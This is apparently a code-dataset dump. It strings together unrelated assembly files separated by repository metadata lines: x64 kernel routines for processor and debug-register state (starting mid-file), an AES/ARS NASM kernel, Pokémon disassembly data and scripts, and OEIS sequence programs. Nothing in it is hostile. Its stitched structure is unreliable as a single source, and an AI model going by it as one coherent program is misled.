; these registers are restored to their proper value shortly thereafter. ; fxrstor [rax] ; restore legacy floating state KfCS20: cmp KfFrame.OldIrql[rsp], APC_LEVEL ; check if lower IRQL required jae short KfCS30 ; if ae, lower IRQL not necessary mov eax, KfFrame.OldIrql[rsp] ; lower IRQL to previous level mov cr8, rax ; KfCS30: movdqa xmm6, KfFrame.SavedXmm6[rsp] ; restore nonvolatile floating registers movdqa xmm7, KfFrame.SavedXmm7[rsp] ; movdqa xmm8, KfFrame.SavedXmm8[rsp] ; movdqa xmm9, KfFrame.SavedXmm9[rsp] ; movdqa xmm10, KfFrame.SavedXmm10[rsp] ; movdqa xmm11, KfFrame.SavedXmm11[rsp] ; movdqa xmm12, KfFrame.SavedXmm12[rsp] ; movdqa xmm13, KfFrame.SavedXmm13[rsp] ; movdqa xmm14, KfFrame.SavedXmm14[rsp] ; movdqa xmm15, KfFrame.SavedXmm15[rsp] ; add rsp, (sizeof KfFrame) ; deallocate stack frame ret ; return NESTED_END KeContextToKframes, _TEXT$00 subttl "Save Initial Processor Control State" ;++ ; ; KiSaveInitialProcessorControlState ( ; PKPROCESSOR_STATE ProcessorState ; ); ; ; Routine Description: ; ; This routine saves the initial control state of the current processor. ; ; N.B. The debug register state is not saved. ; ; Arguments: ; ; ProcessorState (rcx) - Supplies a pointer to a processor state structure. ; ; Return Value: ; ; None. ; ;-- LEAF_ENTRY KiSaveInitialProcessorControlState, _TEXT$00 mov rax, cr0 ; save processor control state mov PsCr0[rcx], rax ; mov rax, cr2 ; mov PsCr2[rcx], rax ; mov rax, cr3 ; mov PsCr3[rcx], rax ; mov rax, cr4 ; mov PsCr4[rcx], rax ; mov rax, cr8 ; mov PsCr8[rcx], rax ; sgdt fword ptr PsGdtr[rcx] ; save GDTR sidt fword ptr PsIdtr[rcx] ; save IDTR str word ptr PsTr[rcx] ; save TR sldt word ptr PsLdtr[rcx] ; save LDTR stmxcsr dword ptr PsMxCsr[rcx] ; save XMM control/status ret ; return LEAF_END KiSaveInitialProcessorControlState, _TEXT$00 subttl "Restore Processor Control State" ;++ ; ; KiRestoreProcessorControlState ( ; VOID ; ); ; ; Routine Description: ; ; This routine restores the control state of the current processor. ; ; Arguments: ; ; ProcessorState (rcx) - Supplies a pointer to a processor state structure. ; ; Return Value: ; ; None. ; ;-- LEAF_ENTRY KiRestoreProcessorControlState, _TEXT$00 mov rax, PsCr0[rcx] ; restore processor control registers mov cr0, rax ; mov rax, PsCr3[rcx] ; mov cr3, rax ; mov rax, PsCr4[rcx] ; mov cr4, rax ; mov rax, PsCr8[rcx] ; mov cr8, rax ; lgdt fword ptr PsGdtr[rcx] ; restore GDTR lidt fword ptr PsIdtr[rcx] ; restore IDTR ; ; Force the TSS descriptor into a non-busy state so no fault will occur when ; TR is loaded. ; movzx eax, word ptr PsTr[rcx] ; get TSS selector add rax, PsGdtr + 2[rcx] ; compute TSS GDT entry address and byte ptr 5[rax], NOT 2 ; clear busy bit ltr word ptr PsTr[rcx] ; restore TR xor eax, eax ; load a NULL selector into the ldt lldt ax ; ldmxcsr dword ptr PsMxCsr[rcx] ; restore XMM control/status ; ; Restore debug control state. ; xor edx, edx ; restore debug registers mov dr7, rdx ; mov rax, PsKernelDr0[rcx] ; mov rdx, PsKernelDr1[rcx] ; mov dr0, rax ; mov dr1, rdx ; mov rax, PsKernelDr2[rcx] ; mov rdx, PsKernelDr3[rcx] ; mov dr2, rax ; mov dr3, rdx ; mov rdx, PsKernelDr7[rcx] ; xor eax, eax ; mov dr6, rax ; mov dr7, rdx ; cmp byte ptr gs:[PcCpuVendor], CPU_AMD ; check if AMD processor jne short KiRC30 ; if ne, not authentic AMD processor ; ; The host processor is an authentic AMD processor. ; ; Check if branch tracing or last branch capture is enabled. ; test dx, DR7_TRACE_BRANCH ; test for trace branch enable jz short KiRC10 ; if z, trace branch not enabled or eax, MSR_DEBUG_CRL_BTF ; set trace branch enable KiRC10: test dx, DR7_LAST_BRANCH ; test for last branch enable jz short KiRC20 ; if z, last branch not enabled or eax, MSR_DEBUG_CTL_LBR ; set last branch enable KiRC20: test eax, eax ; test for extended debug enables jz short KiRC30 ; if z, no extended debug enables mov r8d, eax ; save extended debug enables mov ecx, MSR_DEGUG_CTL ; set debug control MSR number rdmsr ; set extended debug control and eax, not (MSR_DEBUG_CTL_LBR or MSR_DEBUG_CRL_BTF) ; or eax, r8d ; wrmsr ; KiRC30: ret ; return LEAF_END KiRestoreProcessorControlState, _TEXT$00 subttl "Save Processor Control State" ;++ ; ; KiSaveProcessorControlState ( ; PKPROCESSOR_STATE ProcessorState ; ); ; ; Routine Description: ; ; This routine saves the control state of the current processor. ; ; Arguments: ; ; ProcessorState (rcx) - Supplies a pointer to a processor state structure. ; ; Return Value: ; ; None. ; ;-- LEAF_ENTRY KiSaveProcessorControlState, _TEXT$00 mov rax, cr0 ; save processor control state mov PsCr0[rcx], rax ; mov rax, cr2 ; mov PsCr2[rcx], rax ; mov rax, cr3 ; mov PsCr3[rcx], rax ; mov rax, cr4 ; mov PsCr4[rcx], rax ; mov rax, cr8 ; mov PsCr8[rcx], rax ; sgdt fword ptr PsGdtr[rcx] ; save GDTR sidt fword ptr PsIdtr[rcx] ; save IDTR str word ptr PsTr[rcx] ; save TR sldt word ptr PsLdtr[rcx] ; save LDTR stmxcsr dword ptr PsMxCsr[rcx] ; save XMM control/status ; ; Save debug control state. ; mov rax, dr0 ; save debug registers mov rdx, dr1 ; mov PsKernelDr0[rcx], rax ; mov PsKernelDr1[rcx], rdx ; mov rax, dr2 ; mov rdx, dr3 ; mov PsKernelDr2[rcx], rax ; mov PsKernelDr3[rcx], rdx ; mov rax, dr6 ; mov rdx, dr7 ; mov PsKernelDr6[rcx], rax ; mov PsKernelDr7[rcx], rdx ; xor eax, eax ; mov dr7, rax ; cmp byte ptr gs:[PcCpuVendor], CPU_AMD ; check if AMD processor jne short KiSC10 ; if ne, not authentic AMD processor ; ; The host processor is an authentic AMD processor. ; ; Check if branch tracing or last branch capture is enabled. ; test dx, DR7_TRACE_BRANCH or DR7_LAST_BRANCH ; test for extended enables jz short KiSC10 ; if z, extended debugging not enabled mov r8, rcx ; save processor state address mov ecx, MSR_LAST_BRANCH_FROM ; save last branch information rdmsr ; mov PsLastBranchFromRip[r8], eax ; mov PsLastBranchFromRip + 4[r8], edx ; mov ecx, MSR_LAST_BRANCH_TO ; rdmsr ; mov PsLastBranchToRip[r8], eax ; mov PsLastBranchToRip + 4[r8], edx ; mov ecx, MSR_LAST_EXCEPTION_FROM ; rdmsr ; mov PsLastExceptionFromRip[r8], eax ; mov PsLastExceptionFromRip + 4[r8], edx ; mov ecx, MSR_LAST_EXCEPTION_TO ; rdmsr ; mov PsLastExceptionToRip[r8], eax ; mov PsLastExceptionToRip + 4[r8], edx ; mov ecx, MSR_DEGUG_CTL ; clear extended debug control rdmsr ; and eax, not (MSR_DEBUG_CTL_LBR or MSR_DEBUG_CRL_BTF) ; wrmsr ; KiSC10: ret ; return LEAF_END KiSaveProcessorControlState, _TEXT$00 subttl "Restore Debug Register State" ;++ ; ; VOID ; KiRestoreDebugRegisterState ( ; VOID ; ); ; ; Routine Description: ; ; This routine is executed on a transition from kernel mode to user mode ; and restores the debug register state. ; ; N.B. This routine is used for both trap/interrupt and system service ; exit. ; ; Arguments: ; ; None. ; ; Implicit Arguments: ; ; rbp - Supplies a pointer to a trap frame. ; ; Return Value: ; ; None. ; ;-- LEAF_ENTRY KiRestoreDebugRegisterState, _TEXT$00 xor edx, edx ; clear register mov dr7, rdx ; clear control before loading mov rax, TrDr0[rbp] ; restore user debug registers mov rdx, TrDr1[rbp] ; mov dr0, rax ; mov dr1, rdx ; mov rax, TrDr2[rbp] ; mov rdx, TrDr3[rbp] ; mov dr2, rax ; mov dr3, rdx ; mov rdx, TrDr7[rbp] ; xor eax, eax ; mov dr6, rax ; mov dr7, rdx ; cmp byte ptr gs:[PcCpuVendor], CPU_AMD ; check if AMD processor jne short KiRD30 ; if ne, not authentic AMD processor ; ; The host processor is an authentic AMD processor. ; ; Check if branch tracing or last branch capture is enabled. ; test dx, DR7_TRACE_BRANCH ; test for trace branch enable jz short KiRD10 ; if z, trace branch not enabled or eax, MSR_DEBUG_CRL_BTF ; set trace branch enable KiRD10: test dx, DR7_LAST_BRANCH ; test for last branch enable jz short KiRD20 ; if z, last branch not enabled or eax, MSR_DEBUG_CTL_LBR ; set last branch enable KiRD20: test eax, eax ; test for extended debug enables jz short KiRD30 ; if z, no extended debug enables mov r8d, eax ; save extended debug enables mov ecx, MSR_DEGUG_CTL ; set extended debug control rdmsr ; and eax, not (MSR_DEBUG_CTL_LBR or MSR_DEBUG_CRL_BTF) ; or eax, r8d ; wrmsr ; KiRD30: ret ; return LEAF_END KiRestoreDebugRegisterState, _TEXT$00 subttl "Save Debug Register State" ;++ ; ; VOID ; KiSaveDebugRegisterState ( ; VOID ; ); ; ; Routine Description: ; ; This routine is called on a transition from user mode to kernel mode ; when user debug registers are active. It saves the user debug registers ; and loads the kernel debug register state. ; ; Arguments: ; ; None. ; ; Implicit Arguments: ; ; rbp - Supplies a pointer to a trap frame. ; ; Return Value: ; ; None. ; ;-- LEAF_ENTRY KiSaveDebugRegisterState, _TEXT$00 mov r9, gs:[PcSelf] ; get PCR address mov rax, dr0 ; save user debug registers mov rdx, dr1 ; mov TrDr0[rbp], rax ; mov TrDr1[rbp], rdx ; mov rax, dr2 ; mov rdx, dr3 ; mov TrDr2[rbp], rax ; mov TrDr3[rbp], rdx ; mov rax, dr6 ; mov rdx, dr7 ; mov TrDr6[rbp], rax ; mov TrDr7[rbp], rdx ; xor eax, eax ; mov dr7, rax ; cmp byte ptr gs:[PcCpuVendor], CPU_AMD ; check if AMD processor jne short KiSD10 ; if ne, not authentic AMD processor ; ; The host processor is an authentic AMD processor. ; ; Check if branch tracing or last branch capture is enabled. ; test dx, DR7_TRACE_BRANCH or DR7_LAST_BRANCH ; test for extended enables jz short KiSD10 ; if z, not extended debug enables mov ecx, MSR_LAST_BRANCH_FROM ; save last branch information rdmsr ; mov TrLastBranchFromRip[rbp], eax ; mov TrLastBranchFromRip + 4[rbp], edx ; mov ecx, MSR_LAST_BRANCH_TO ; rdmsr ; mov TrLastBranchToRip[rbp], eax ; mov TrLastBranchToRip + 4[rbp], edx ; mov ecx, MSR_LAST_EXCEPTION_FROM ; rdmsr ; mov TrLastExceptionFromRip[rbp], eax ; mov TrLastExceptionFromRip + 4[rbp], edx ; mov ecx, MSR_LAST_EXCEPTION_TO ; rdmsr ; mov TrLastExceptionToRip[rbp], eax ; mov TrLastExceptionToRip + 4[rbp], edx ; mov ecx, MSR_DEGUG_CTL ; Clear extended debug control rdmsr ; and eax, not (MSR_DEBUG_CTL_LBR or MSR_DEBUG_CRL_BTF) ; wrmsr ; KiSD10: test word ptr PcKernelDr7[r9], DR7_ACTIVE ; test if debug enabled jz short KiSD40 ; if z, debug not enabled mov rax, PcKernelDr0[r9] ; set debug registers mov rdx, PcKernelDr1[r9] ; mov dr0, rax ; mov dr1, rdx ; mov rax, PcKernelDr2[r9] ; mov rdx, PcKernelDr3[r9] ; mov dr2, rax ; mov dr3, rdx ; mov rdx, PcKernelDr7[r9] ; xor eax, eax ; mov dr6, rax ; mov dr7, rdx ; cmp byte ptr gs:[PcCpuVendor], CPU_AMD ; check if AMD processor jne short KiSD40 ; if ne, not authentic AMD processor ; ; The host processor is an authentic AMD processor. ; ; Check if branch tracing or last branch capture is enabled. ; test dx, DR7_TRACE_BRANCH ; test for trace branch enable jz short KiSD20 ; if z, trace branch not enabled or eax, MSR_DEBUG_CRL_BTF ; set trace branch enable KiSD20: test dx, DR7_LAST_BRANCH ; test for last branch enable jz short KiSD30 ; if z, last branch not enabled or eax, MSR_DEBUG_CTL_LBR ; set last branch enable KiSD30: test eax, eax ; test for extended debug enables jz short KiSD40 ; if z, no extended debug enables mov r8d, eax ; save extended debug enables mov ecx, MSR_DEGUG_CTL ; set extended debug control rdmsr ; and eax, not (MSR_DEBUG_CTL_LBR or MSR_DEBUG_CRL_BTF) ; or eax, r8d ; wrmsr ; KiSD40: ret ; return LEAF_END KiSaveDebugRegisterState, _TEXT$00 subttl "Get Current Stack Pointer" ;++ ; ; ULONG64 ; KeGetCurrentStackPointer ( ; VOID ; ); ; ; Routine Description: ; ; This function returns the caller's stack pointer. ; ; Arguments: ; ; None. ; ; Return Value: ; ; The callers stack pointer is returned as the function value. ; ;-- LEAF_ENTRY KeGetCurrentStackPointer, _TEXT$00 lea rax, 8[rsp] ; get callers stack pointer ret ; LEAF_END KeGetCurrentStackPointer, _TEXT$00 subttl "Save Legacy Floating Point State" ;++ ; ; VOID ; KeSaveLegacyFloatingPointState ( ; PXMM_SAVE_AREA32 NpxFrame ; ); ; ; Routine Description: ; ; This routine saves the legacy floating state for the current thread. ; ; Arguments: ; ; NpxFrame (rcx) - Supplies the address of the legacy floating save area. ; ; Return Value: ; ; None. ; ;-- LEAF_ENTRY KeSaveLegacyFloatingPointState, _TEXT$00 fxsave [rcx] ; save legacy floating state ret ; LEAF_END KeSaveLegacyFloatingPointState, _TEXT$00 end
33.76763
134
0.536513
94c08c3cacf447b59b5c4186e9443923e83d505d
5,696
asm
Assembly
lib/asm/aes_aesni_sse2.asm
zhouyan/MCKL
1d03eb5a879e47e268efc73b1d433611e64307b3
[ "BSD-2-Clause" ]
12
2016-08-02T17:01:13.000Z
2021-03-04T12:11:33.000Z
lib/asm/aes_aesni_sse2.asm
zhouyan/MCKL
1d03eb5a879e47e268efc73b1d433611e64307b3
[ "BSD-2-Clause" ]
5
2017-05-09T12:05:06.000Z
2021-03-16T10:39:23.000Z
lib/asm/aes_aesni_sse2.asm
zhouyan/MCKL
1d03eb5a879e47e268efc73b1d433611e64307b3
[ "BSD-2-Clause" ]
2
2016-08-25T13:10:29.000Z
2019-05-01T01:54:29.000Z
;;============================================================================ ;; MCKL/lib/asm/aes_aesni_sse2.asm ;;---------------------------------------------------------------------------- ;; MCKL: Monte Carlo Kernel Library ;;---------------------------------------------------------------------------- ;; Copyright (c) 2013-2018, Yan Zhou ;; All rights reserved. ;; ;; Redistribution and use in source and binary forms, with or without ;; modification, are permitted provided that the following conditions are met: ;; ;; Redistributions of source code must retain the above copyright notice, ;; this list of conditions and the following disclaimer. ;; ;; Redistributions in binary form must reproduce the above copyright notice, ;; this list of conditions and the following disclaimer in the documentation ;; and/or other materials provided with the distribution. ;; ;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS AS IS ;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ;; ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE ;; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR ;; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF ;; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS ;; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN ;; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ;; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ;; POSSIBILITY OF SUCH DAMAGE. ;;============================================================================ global mckl_aes128_aesni_sse2_kernel global mckl_aes192_aesni_sse2_kernel global mckl_aes256_aesni_sse2_kernel global mckl_ars_aesni_sse2_kernel default rel %macro encfirst 1 pxor xmm0, %1 pxor xmm1, %1 pxor xmm2, %1 pxor xmm3, %1 pxor xmm4, %1 pxor xmm5, %1 pxor xmm6, %1 pxor xmm7, %1 %endmacro %macro enc 1 aesenc xmm0, %1 aesenc xmm1, %1 aesenc xmm2, %1 aesenc xmm3, %1 aesenc xmm4, %1 aesenc xmm5, %1 aesenc xmm6, %1 aesenc xmm7, %1 %endmacro %macro enclast 1 aesenclast xmm0, %1 aesenclast xmm1, %1 aesenclast xmm2, %1 aesenclast xmm3, %1 aesenclast xmm4, %1 aesenclast xmm5, %1 aesenclast xmm6, %1 aesenclast xmm7, %1 %endmacro %macro generate 1 ; rounds movdqa xmm0, xmm8 movdqa xmm1, xmm8 movdqa xmm2, xmm8 movdqa xmm3, xmm8 movdqa xmm4, xmm8 movdqa xmm5, xmm8 movdqa xmm6, xmm8 movdqa xmm7, xmm8 paddq xmm0, [increment + 0x00] paddq xmm1, [increment + 0x10] paddq xmm2, [increment + 0x20] paddq xmm3, [increment + 0x30] paddq xmm4, [increment + 0x40] paddq xmm5, [increment + 0x50] paddq xmm6, [increment + 0x60] paddq xmm7, [increment + 0x70] paddq xmm8, [increment + 0x80] encfirst xmm10 enc xmm11 enc xmm12 enc xmm13 enc xmm14 %if %1 > 5 %assign r 0 %rep %1 - 5 movdqa xmm9, [rsp + r * 0x10] enc xmm9 %assign r r + 1 %endrep %endif enclast xmm15 %endmacro ; rdi:ctr.data() ; rsi:n ; rdx:r ; rcx:ks.get().data()/weyl:key %macro kernel 1 ; rounds push rbp mov rbp, rsp %if %1 > 5 sub rsp, (%1 - 5) * 0x10 %endif cld ; early return test rsi, rsi jz .return ; parameter processing, leave rdi, rsi, rcx free for moving memory mov rax, rsi ; n mov r8, rdi ; ctr mov r9, rcx ; key.get().data()/weyl:key ; load counter movdqu xmm8, [r8] add [r8], rax %if %1 == 5 ; ARS: load weyl and key, compute round_key movdqu xmm9, [r9 + 0x00] ; weyl movdqu xmm10, [r9 + 0x10] ; round_key[0] movdqa xmm11, xmm10 paddq xmm11, xmm9 ; round_key[1] movdqa xmm12, xmm11 paddq xmm12, xmm9 ; round_key[2] movdqa xmm13, xmm12 paddq xmm13, xmm9 ; round_key[3] movdqa xmm14, xmm13 paddq xmm14, xmm9 ; round_key[4] movdqa xmm15, xmm14 paddq xmm15, xmm9 ; round_key[5] %else ; AES: load round_key movdqu xmm10, [r9 + 0x00] ; round_key[0] movdqu xmm11, [r9 + 0x10] ; round_key[1] movdqu xmm12, [r9 + 0x20] ; round_key[2] movdqu xmm13, [r9 + 0x30] ; round_key[3] movdqu xmm14, [r9 + 0x40] ; round_key[4] movdqu xmm15, [r9 + %1 * 0x10] ; round_key[rounds] %if %1 > 5 mov rcx, (%1 - 5) * 2 lea rsi, [r9 + 0x50] mov rdi, rsp rep movsq %endif %endif cmp rax, 8 jl .last align 16 .loop: generate %1 movdqu [rdx + 0x00], xmm0 movdqu [rdx + 0x10], xmm1 movdqu [rdx + 0x20], xmm2 movdqu [rdx + 0x30], xmm3 movdqu [rdx + 0x40], xmm4 movdqu [rdx + 0x50], xmm5 movdqu [rdx + 0x60], xmm6 movdqu [rdx + 0x70], xmm7 add rdx, 0x80 sub rax, 8 cmp rax, 8 jge .loop .last: test rax, rax jz .return generate %1 movdqa [rsp - 0x80], xmm0 movdqa [rsp - 0x70], xmm1 movdqa [rsp - 0x60], xmm2 movdqa [rsp - 0x50], xmm3 movdqa [rsp - 0x40], xmm4 movdqa [rsp - 0x30], xmm5 movdqa [rsp - 0x20], xmm6 movdqa [rsp - 0x10], xmm7 lea rcx, [rax + rax] lea rsi, [rsp - 0x80] mov rdi, rdx rep movsq .return: mov rsp, rbp pop rbp ret %endmacro section .rodata align 16 increment: dq 0x01, 0x00 dq 0x02, 0x00 dq 0x03, 0x00 dq 0x04, 0x00 dq 0x05, 0x00 dq 0x06, 0x00 dq 0x07, 0x00 dq 0x08, 0x00 dq 0x08, 0x00 section .text mckl_aes128_aesni_sse2_kernel: kernel 10 mckl_aes192_aesni_sse2_kernel: kernel 12 mckl_aes256_aesni_sse2_kernel: kernel 14 mckl_ars_aesni_sse2_kernel: kernel 5 ; vim:ft=nasm
25.428571
78
0.62342
486f737830864fc20041d76815bdf0a9cb67e3c1
736
asm
Assembly
data/pokemon/base_stats/magmar.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
1
2022-02-15T00:19:44.000Z
2022-02-15T00:19:44.000Z
data/pokemon/base_stats/magmar.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
data/pokemon/base_stats/magmar.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
db DEX_MAGMAR ; pokedex id db 65, 95, 57, 93, 85 ; hp atk def spd spc db FIRE, FIRE ; type db 45 ; catch rate db 167 ; base exp INCBIN "gfx/pokemon/front/magmar.pic", 0, 1 ; sprite dimensions dw MagmarPicFront, MagmarPicBack db EMBER, LEER, NO_MOVE, NO_MOVE ; level 1 learnset db GROWTH_MEDIUM_FAST ; growth rate ; tm/hm learnset tmhm MEGA_PUNCH, MEGA_KICK, TOXIC, BODY_SLAM, TAKE_DOWN, \ DOUBLE_EDGE, HYPER_BEAM, SUBMISSION, COUNTER, SEISMIC_TOSS, \ RAGE, PSYCHIC_M, TELEPORT, MIMIC, DOUBLE_TEAM, \ BIDE, METRONOME, FIRE_BLAST, SKULL_BASH, REST, \ PSYWAVE, SUBSTITUTE, STRENGTH ; end db 0 ; padding
29.44
77
0.61413
8f3ee7ef4c8b697014c22ce6b09fe906f90f8b75
1,137
asm
Assembly
programs/oeis/261/A261671.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/261/A261671.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/261/A261671.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A261671: If n even, a(n) = 6n+3, otherwise a(n) = n. ; 3,1,15,3,27,5,39,7,51,9,63,11,75,13,87,15,99,17,111,19,123,21,135,23,147,25,159,27,171,29,183,31,195,33,207,35,219,37,231,39,243,41,255,43,267,45,279,47,291,49,303,51,315,53,327,55,339,57,351,59,363,61,375,63,387,65,399,67,411,69,423,71,435,73,447,75,459,77,471,79,483,81,495,83,507,85,519,87,531,89,543,91,555,93,567,95,579,97,591,99,603,101,615,103,627,105,639,107,651,109,663,111,675,113,687,115,699,117,711,119,723,121,735,123,747,125,759,127,771,129,783,131,795,133,807,135,819,137,831,139,843,141,855,143,867,145,879,147,891,149,903,151,915,153,927,155,939,157,951,159,963,161,975,163,987,165,999,167,1011,169,1023,171,1035,173,1047,175,1059,177,1071,179,1083,181,1095,183,1107,185,1119,187,1131,189,1143,191,1155,193,1167,195,1179,197,1191,199,1203,201,1215,203,1227,205,1239,207,1251,209,1263,211,1275,213,1287,215,1299,217,1311,219,1323,221,1335,223,1347,225,1359,227,1371,229,1383,231,1395,233,1407,235,1419,237,1431,239,1443,241,1455,243,1467,245,1479,247,1491,249 mov $1,3 mov $2,$0 mul $0,5 add $1,$0 mod $0,2 lpb $0,1 trn $0,4 mod $1,3 div $1,6 lpe add $1,$2
75.8
977
0.712401
edb64a6e01bb95b253927e6a828a3f0cbf224a57
2,604
asm
Assembly
programs/oeis/008/A008893.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/008/A008893.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/008/A008893.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A008893: Number of equilateral triangles formed by triples of points taken from a hexagonal chunk of side n in the hexagonal lattice. ; 0,8,66,258,710,1590,3108,5516,9108,14220,21230,30558,42666,58058,77280,100920,129608,164016,204858,252890,308910,373758,448316,533508,630300,739700,862758,1000566,1154258,1325010,1514040,1722608,1952016,2203608,2478770,2778930,3105558,3460166,3844308,4259580,4707620,5190108,5708766,6265358,6861690,7499610,8181008,8907816,9682008,10505600,11380650,12309258,13293566,14335758,15438060,16602740,17832108,19128516,20494358,21932070,23444130,25033058,26701416,28451808,30286880,32209320,34221858,36327266,38528358,40827990,43229060,45734508,48347316,51070508,53907150,56860350,59933258,63129066,66451008,69902360,73486440,77206608,81066266,85068858,89217870,93516830,97969308,102578916,107349308,112284180,117387270,122662358,128113266,133743858,139558040,145559760,151753008,158141816,164730258,171522450,178522550,185734758,193163316,200812508,208686660,216790140,225127358,233702766,242520858,251586170,260903280,270476808,280311416,290411808,300782730,311428970,322355358,333566766,345068108,356864340,368960460,381361508,394072566,407098758,420445250,434117250,448120008,462458816,477139008,492165960,507545090,523281858,539381766,555850358,572693220,589915980,607524308,625523916,643920558,662720030,681928170,701550858,721594016,742063608,762965640,784306160,806091258,828327066,851019758,874175550,897800700,921901508,946484316,971555508,997121510,1023188790,1049763858,1076853266,1104463608,1132601520,1161273680,1190486808,1220247666,1250563058,1281439830,1312884870,1344905108,1377507516,1410699108,1444486940,1478878110,1513879758,1549499066,1585743258,1622619600,1660135400,1698298008,1737114816,1776593258,1816740810,1857564990,1899073358,1941273516,1984173108,2027779820,2072101380,2117145558,2162920166,2209433058,2256692130,2304705320,2353480608,2403026016,2453349608,2504459490,2556363810,2609070758,2662588566,2716925508,2772089900,2828090100,2884934508,2942631566,3001189758,3060617610,3120923690,3182116608,3244205016,3307197608,3371103120,3435930330,3501688058,3568385166,3636030558,3704633180,3774202020,3844746108,3916274516,3988796358,4062320790,4136857010,4212414258,4289001816,4366629008,4445305200,4525039800,4605842258,4687722066,4770688758,4854751910,4939921140,5026206108,5113616516,5202162108,5291852670,5382698030,5474708058,5567892666,5662261808,5757825480,5854593720,5952576608,6051784266,6152226858,6253914590,6356857710,6461066508,6566551316,6673322508,6781390500 add $0,1 bin $0,2 mov $1,$0 mov $2,7 mul $2,$0 mul $0,$2 add $1,$0
236.727273
2,399
0.880568
c684f84b13b577033628e24eebdb110a957ac067
3,293
asm
Assembly
scripts/ssanne8.asm
etdv-thevoid/pokemon-rgb-enhanced
5b244c1cf46aab98b9c820d1b7888814eb7fa53f
[ "MIT" ]
1
2022-01-09T05:28:52.000Z
2022-01-09T05:28:52.000Z
scripts/ssanne8.asm
ETDV-TheVoid/pokemon-rgb-enhanced
5b244c1cf46aab98b9c820d1b7888814eb7fa53f
[ "MIT" ]
null
null
null
scripts/ssanne8.asm
ETDV-TheVoid/pokemon-rgb-enhanced
5b244c1cf46aab98b9c820d1b7888814eb7fa53f
[ "MIT" ]
null
null
null
SSAnne8Script: call EnableAutoTextBoxDrawing ld hl, SSAnne8TrainerHeader0 ld de, SSAnne8ScriptPointers ld a, [wSSAnne8CurScript] call ExecuteCurMapScriptInTable ld [wSSAnne8CurScript], a ret SSAnne8ScriptPointers: dw CheckFightingMapTrainers dw DisplayEnemyTrainerTextAndStartBattle dw EndTrainerBattle SSAnne8TextPointers: dw SSAnne8Text1 dw SSAnne8Text2 dw SSAnne8Text3 dw SSAnne8Text4 dw SSAnne8Text5 dw SSAnne8Text6 dw SSAnne8Text7 dw SSAnne8Text8 dw SSAnne8Text9 dw PickUpItemText dw SSAnne8Text11 SSAnne8TrainerHeader0: dbEventFlagBit EVENT_BEAT_SS_ANNE_8_TRAINER_0 db ($2 << 4) ; trainer's view range dwEventFlagAddress EVENT_BEAT_SS_ANNE_8_TRAINER_0 dw SSAnne8BattleText1 ; TextBeforeBattle dw SSAnne8AfterBattleText1 ; TextAfterBattle dw SSAnne8EndBattleText1 ; TextEndBattle dw SSAnne8EndBattleText1 ; TextEndBattle SSAnne8TrainerHeader1: dbEventFlagBit EVENT_BEAT_SS_ANNE_8_TRAINER_1 db ($3 << 4) ; trainer's view range dwEventFlagAddress EVENT_BEAT_SS_ANNE_8_TRAINER_1 dw SSAnne8BattleText2 ; TextBeforeBattle dw SSAnne8AfterBattleText2 ; TextAfterBattle dw SSAnne8EndBattleText2 ; TextEndBattle dw SSAnne8EndBattleText2 ; TextEndBattle SSAnne8TrainerHeader2: dbEventFlagBit EVENT_BEAT_SS_ANNE_8_TRAINER_2 db ($2 << 4) ; trainer's view range dwEventFlagAddress EVENT_BEAT_SS_ANNE_8_TRAINER_2 dw SSAnne8BattleText3 ; TextBeforeBattle dw SSAnne8AfterBattleText3 ; TextAfterBattle dw SSAnne8EndBattleText3 ; TextEndBattle dw SSAnne8EndBattleText3 ; TextEndBattle SSAnne8TrainerHeader3: dbEventFlagBit EVENT_BEAT_SS_ANNE_8_TRAINER_3 db ($2 << 4) ; trainer's view range dwEventFlagAddress EVENT_BEAT_SS_ANNE_8_TRAINER_3 dw SSAnne8BattleText4 ; TextBeforeBattle dw SSAnne8AfterBattleText4 ; TextAfterBattle dw SSAnne8EndBattleText4 ; TextEndBattle dw SSAnne8EndBattleText4 ; TextEndBattle db $ff SSAnne8Text1: TX_ASM ld hl, SSAnne8TrainerHeader0 call TalkToTrainer jp TextScriptEnd SSAnne8Text2: TX_ASM ld hl, SSAnne8TrainerHeader1 call TalkToTrainer jp TextScriptEnd SSAnne8Text3: TX_ASM ld hl, SSAnne8TrainerHeader2 call TalkToTrainer jp TextScriptEnd SSAnne8Text4: TX_ASM ld hl, SSAnne8TrainerHeader3 call TalkToTrainer jp TextScriptEnd SSAnne8Text8: TX_FAR _SSAnne8Text8 TX_ASM ld a, WIGGLYTUFF call PlayCry jp TextScriptEnd SSAnne8BattleText1: TX_FAR _SSAnne8BattleText1 db "@" SSAnne8EndBattleText1: TX_FAR _SSAnne8EndBattleText1 db "@" 